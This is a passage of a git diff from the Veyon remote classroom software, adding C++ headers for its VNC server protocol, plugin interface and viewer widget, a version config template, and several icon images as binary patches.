be used for VNC authentication + */ + virtual void runServer( int serverPort, const QString& password ) = 0; + + virtual int configuredServerPort() = 0; + + virtual QString configuredPassword() = 0; + +} ; + +typedef QList VncServerPluginInterfaceList; + +#define VncServerPluginInterface_iid "io.veyon.Veyon.Plugins.VncServerPluginInterface" + +Q_DECLARE_INTERFACE(VncServerPluginInterface, VncServerPluginInterface_iid) + +#endif diff --git a/core/include/VncServerProtocol.h b/core/include/VncServerProtocol.h new file mode 100644 index 0000000..8452732 --- /dev/null +++ b/core/include/VncServerProtocol.h @@ -0,0 +1,105 @@ +/* + * VncServerProtocol.h - header file for the VncServerProtocol class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VNC_SERVER_PROTOCOL_H +#define VNC_SERVER_PROTOCOL_H + +#include "RfbVeyonAuth.h" + +class QTcpSocket; + +class VariantArrayMessage; +class VncServerClient; + +// clazy:excludeall=copyable-polymorphic + +class VEYON_CORE_EXPORT VncServerProtocol +{ +public: + typedef enum States { + Disconnected, + Protocol, + SecurityInit, + AuthenticationTypes, + Authenticating, + AccessControl, + FramebufferInit, + Running, + Close, + StateCount + } State; + + VncServerProtocol( QTcpSocket* socket, + VncServerClient* client ); + virtual ~VncServerProtocol(); + + State state() const; + + void start(); + bool read(); // Flawfinder: ignore + + void setServerInitMessage( const QByteArray& serverInitMessage ) + { + m_serverInitMessage = serverInitMessage; + } + +protected: + virtual QVector supportedAuthTypes() const = 0; + virtual void processAuthenticationMessage( VariantArrayMessage& message ) = 0; + virtual void performAccessControl() = 0; + + QTcpSocket* socket() + { + return m_socket; + } + + VncServerClient* client() + { + return m_client; + } + +private: + void setState( State state ); + + bool readProtocol(); + bool sendSecurityTypes(); + bool receiveSecurityTypeResponse(); + bool sendAuthenticationTypes(); + bool receiveAuthenticationTypeResponse(); + bool receiveAuthenticationMessage(); + + bool processAuthentication( VariantArrayMessage& message ); + bool processAccessControl(); + + bool processFramebufferInit(); + +private: + QTcpSocket* m_socket; + VncServerClient* m_client; + + QByteArray m_serverInitMessage; + +} ; + +#endif diff --git a/core/include/VncView.h b/core/include/VncView.h new file mode 100644 index 0000000..dd96669 --- /dev/null +++ b/core/include/VncView.h @@ -0,0 +1,154 @@ +/* + * VncView.h - VNC viewer widget + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VNC_VIEW_H +#define VNC_VIEW_H + +#include +#include +#include +#include + +#include "KeyboardShortcutTrapper.h" +#include "VncConnection.h" + +class ProgressWidget; +class RemoteControlWidget; +class KeyboardShortcutTrapper; + +class VEYON_CORE_EXPORT VncView : public QWidget +{ + Q_OBJECT +public: + enum Modes + { + RemoteControlMode, + DemoMode, + NumModes + } ; + typedef Modes Mode; + + typedef enum Shortcut + { + ShortcutCtrlAltDel, + ShortcutCtrlEscape, + ShortcutAltTab, + ShortcutAltF4, + ShortcutWinTab, + ShortcutWin, + ShortcutMenu, + ShortcutAltCtrlF1, + ShortcutCount + } Shortcut; + + VncView( const QString &host, int port, QWidget *parent, Mode mode ); + ~VncView() override; + + bool isViewOnly() const + { + return m_viewOnly; + } + + VncConnection* vncConnection() + { + return m_vncConn; + } + + QSize scaledSize() const; + QSize framebufferSize() const + { + return m_framebufferSize; + } + QSize sizeHint() const override; + + +public slots: + void setViewOnly( bool viewOnly ); + void sendShortcut( Shortcut shortcut ); + + +signals: + void mouseAtBorder(); + void keyEvent( unsigned int, bool ); + void startConnection(); + void connectionEstablished(); + void sizeHintChanged(); + + +private slots: + void handleShortcut( KeyboardShortcutTrapper::Shortcut shortcut ); + void updateCursorPos( int x, int y ); + void updateCursorShape( const QPixmap& cursorShape, int xh, int yh ); + void updateImage( int x, int y, int w, int h ); + void updateFramebufferSize( int w, int h ); + void updateConnectionState(); + +private: + bool eventFilter( QObject* obj, QEvent* event ) override; + bool event( QEvent* event ) override; + void focusInEvent( QFocusEvent* event ) override; + void focusOutEvent( QFocusEvent* event ) override; + void paintEvent( QPaintEvent* event ) override; + void resizeEvent( QResizeEvent* event ) override; + + void keyEventHandler( QKeyEvent* event ); + void mouseEventHandler( QMouseEvent* event ); + void wheelEventHandler( QWheelEvent* event ); + void unpressModifiers(); + + bool isScaledView() const; + qreal scaleFactor() const; + QPoint mapToFramebuffer( QPoint pos ); + QRect mapFromFramebuffer( QRect rect ); + + void updateLocalCursor(); + void pressKey( unsigned int key ); + void unpressKey( unsigned int key ); + + VncConnection* m_vncConn; + + Mode m_mode; + QPixmap m_cursorShape; + int m_cursorX; + int m_cursorY; + QSize m_framebufferSize; + int m_cursorHotX; + int m_cursorHotY; + bool m_viewOnly; + bool m_viewOnlyFocus; + bool m_initDone; + + int m_buttonMask; + QMap m_mods; + + ProgressWidget* m_establishingConnectionWidget; + + KeyboardShortcutTrapper* m_keyboardShortcutTrapper; + + static constexpr int MouseBorderSignalDelay = 500; + QTimer m_mouseBorderSignalTimer; + +} ; + +#endif diff --git a/core/include/veyonconfig.h.in b/core/include/veyonconfig.h.in new file mode 100644 index 0000000..2ff664c --- /dev/null +++ b/core/include/veyonconfig.h.in @@ -0,0 +1,10 @@ +#ifndef VEYON_CONFIG_H +#define VEYON_CONFIG_H + +#define VEYON_VERSION "@VERSION_STRING@" +#define VEYON_PLUGIN_DIR "@VEYON_PLUGIN_DIR@" +#define VEYON_TRANSLATIONS_DIR "@VEYON_TRANSLATIONS_DIR@" +#define VEYON_EXECUTABLE_SUFFIX "@CMAKE_EXECUTABLE_SUFFIX@" +#define VEYON_SHARED_LIBRARY_SUFFIX "@CMAKE_SHARED_LIBRARY_SUFFIX@" + +#endif diff --git a/core/resources/application-x-pem-key.png b/core/resources/application-x-pem-key.png new file mode 100644 index 0000000000000000000000000000000000000000..c8a7d6b2de52143d97d56370a5b35368f327ec01 GIT binary patch literal 1990 zcmV;%2RZnOP)28kP>2DfwN+IB000?uMObuGZ)S9NVRB^vcXxL#X>MzCV_|S* zE^l&Yo9;Xs000L?Nklm^t(WsK_}_LT1^<-m^-qqo-IU?y}CG~U4-BGRMLqmok8UNC&?eXyGfe2eb2j1dNY zawm8fu29AIYZHD8ItqZFF%Z6@4&S2RS_gBEkEakWbd8F_}4o**fMpCh9_y^*dI%Q+N z$LY!3OPp4}HgTs2&lrcdo^qC`b!vT}%9W1ogk#8N;dg=KM)9+D_`F`B| z3Fbfs`vBNz%mA)3GJL-hq{9l<=lp$)?fkQL1YvG=&yvT>W7KqYaZngkV7+SN65~Ds ze%6@(^Gdad%95O(*GG3xaBtE6yRAVt2nyH+z$Qbx`9D={0$e4h1fP{kt+RBEu+}&0OuGi zfHrC1R)_ix^tIp8elsxA$v z1?xyoiW!{@K&o*AI4goG!RHGGTr;maPF))?Lu!e(#m$axtlFOxPIT2!=K$sE+Q1sn zuhTt*qxNTW41PC_W3Xveq+20(HJSf?xn®V5o0nw+ju5`3lJ@g?z?cd`kAG)n!w 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 GVCr9MzCV_|S* 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 W#fjqF literal 0 HcmV?d00001 diff --git a/core/resources/icon16.png b/core/resources/icon16.png new file mode 100644 index 0000000000000000000000000000000000000000..dd937a4167d99474c59d80ad3f34f56ca57624f3 GIT binary patch literal 424 zcmV;Z0ayNsP)0b000?uMObuGZ)S9NVRB^vcXxL#X>MzCV_|S* zE^l&Yo9;Xs0003eNklsPt6q_q^MX}v)H^ep$_b4D0 zW>cih3BrsN4UAe@mTz5^U>gZsCC7z?g05PliZx5d!Z z3W_6q<5CaKS6mm-6@J(eXU<24`p9=Y;FM=sIKv}8^{l7-$aaJNd8UF?#(r+pz};!o zxgvk_O*J`oD^pZnel354CB96;Y=R|o!UoBN{Ia}3vo3F(xtW?N&8!|AY@2L2!s)i1R^3LA|oS#Bv2O+0NFqi$b|r) zLLdXKJR>6`6AZGlvg+#U>g(%)vOp~j4GoQrjX-5UHjsqa2+<2MFgiNAprD|nq@=8@ ztfHc#s;a7{rlzf}t)ru(udi>ygb5QTPMkDp(){`J7cE+}c=6&TOO`BMx^&sHWy_Z@ zU$J7v%9Sfuty;Bu_38~9Hf-L!dE2&a4<9~!^yty!$B&;pdGg}LiC@M*U%!3(_T$HopFe;8`t|Gg@85s^{Q3L$@4tWl{{R1fVbSL)z`)Wg3GxeO z;NTP#l9q{2NUEr;s$Rcg)8=#MFWkL%|H1PYpTB(h`t3VdH%L2B|3AMJ{a|2lTY9=U zhDe0R24*@pIS9x)a-D5Dq8xlky{ycS zLH^;1Dy#Yaoq}S^5|S+UUfH}R&U1S5nf<$_Xq2_zIKClz+75@iA@e`5Y@7A5RBhp| z3buFaM3g>dT|8F2VXMYU#p|-0^^gCQi}%DXN_^2`%yk8y{WNy(lyR&54LT!Fps>|wdVcIX{lmg oa!go)H|&`ZGG)mDcI|)6i9BgVnf76Nz~E=_boFyt=akR{08M9v2LJ#7 literal 0 HcmV?d00001 diff --git a/core/resources/icon32.png b/core/resources/icon32.png new file mode 100644 index 0000000000000000000000000000000000000000..b0d8e0b0ddcecdccc29d8b66302fce44153a5c98 GIT binary patch literal 1097 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 literal 0 HcmV?d00001 diff --git a/core/resources/languages.png b/core/resources/languages.png new file mode 100644 index 0000000000000000000000000000000000000000..0293e2f5df12a00d61f24229c3bb04f209cc221e GIT binary patch literal 344 zcmeAS@N?(olHy`uVBq!ia0vp^4Is?I3?vN&YJLDI=3*z$5DpHG+YkL80J)q69+AZi z3}rGP%((ne#VeqoWQl7;NpOBzNqJ&XDnogBxn5>oc5!lIL8@MUQTpt6Hc~)E`~f~8 zu0Yz?*Vo6#$Is6X$T)YLQ5q=3QWE4B%urt6u-xch7?8i()5S3)aCc;dekSL3jh_4VD}xGsf8s kzBsttIw_IU=HB32`)9V?>Jzt}fzD>|boFyt=akR{0Ma{jy#N3J literal 0 HcmV?d00001 diff --git a/core/resources/license.png b/core/resources/license.png new file mode 100644 index 0000000000000000000000000000000000000000..a46fb812d82df787b57a11cefcfe64be3352b330 GIT binary patch literal 2863 zcmcJRc{J2tAIGN#G4`4fN*YtPsIg>CA%n4unK2|ZjAf!GWyvy?NDR{y(q>I#CuNUc zvWz`qRAh-?Mz#z}LO=C*zWwGrPEWtnU(b2&IrrYzeShBfeeU_5@ArIf92R3C3Xz3? zKp;`Hr5PTWBYt#2FfcB?OZ*B<;6PI}K~PX|c+Bn{uoOCHc{~sV3f}pnZ^~nZegH(7 zAe2*({aJEQ2r0lD6cQ4$-`DSSpeN~^_x`g1CsXGS$$~(etFbl&6krBgL_~yxgM+cL zF_}yT0F6ci41lezt+}~502mAg5COnqvDVhs78Vvb91f@gA^=uaR(L!f@YvYc0E(TR z9Z&*9zzhK32Y^=vL;!dq&jwTh_-B=80|I$A9&GFd5&(ra^0xCbH+KC3Jm)VWkib*^ z$Li0qKWFk{fsxlXY`~ItcmRGr0MGVI!iITc3(vNp^OhSq8}Lv6?@GVZf0w**fS+L_ z0#v=8d&>ggL89x^&&Y z&MvMeh;HsA4^J;|@<|`xQ>Q6s{LcCZ1fCBL38h{PkGv9fH6}Lh8sqwn_=LopNw;p_ zxtE-hmY$Kx%*x5jFDNW}Sp4X5NoiSmMdg#~nm?Y_)i*SA%l06C90U?r zMw^)sq-EwBzq%#Sm*`hhik~~?Nq?kd=>@?XUp3u+>d|M~OwpaSe z7am{hde5ZL5KnyqI)+AQ!vzzrvCWpla+&m};p1LAv?=z5qYJrKnM09$$_8z9-`bwP zl0>x@j)yOQ!NEDp*-4i|i3iN;>7yUZ;+JP)UzMK_2|U|Ldw?^1D>AEwa(zCpMOoLo zhsU-d|HL$R}W=ePjy{DDM>@6nn zNx{t#t^_^#81HQ-2zoSx&gD#&A=v-kL=H#2`F#NhHY;)WI)RU@Ah2w%`a$AFds#}; z`h4}mvrBXD`uFO`vX)P(?jIx(_ri2FC2{kuf!v~%rphJ>oZ~(i4EbWzwB?W)zNFJO zef>-)YL9S!wT>WJJ&(CdGP|z7CDx!2FWDHb`rIA=90pl&nl=he#-;BPe#Y{nEAHq@ zwrJ6re#Y(y59*2}9)$HYrWrsMl&5d4l(-rFNyF69m{Pf37gUI}?oMrvn^3y0${$*! zR$0hpcm;9VdtfBQ(XPkZwllSK(k@-(^ChtJI2c+)YDLqt*wm6F_=_R|gx7%h5pPQu z*^0y2dSctks49*oP5#Ly^R~hH+23DV_by2UIodCIH4KO>e{;xki!p%_gt zH0i;e+1zt>X3%k(0=-T7+YAzK<3B7=DN3N2a`E$6o2Wz>l$Pm#gR{+0Z8gF}hCz9d zAL$$(!QAQiEyhEO@f!Cq+F7P$q_M;Uj8bQ$WxZn<4se#9Vt7`W9w@%TrHn@e>?n~dA--oRQTU)7MSe9}v&iU#& z)rNeIl+66-L^nJ)W~d$1qUuyi<7`KkrE!qj-FWR`QllhYQ#u*b>lZa7ph`q>@o7+d z(jF~i4gOO#C!iS~W*Q_xW@sAgzSvPwr~^Acms8IltGqthmLxG)1l>-0n8LaA_XA(_ zF~fe;7_8YWDVIGU<|(ZFR))Q*5#?tjl+JMsA1iKTcP?VPqD#Aobcjzj(JNu<7B{VS9#9MZ-3$hbOC)k75z3H3mmvNyMCV92A?~9kj4fu)l 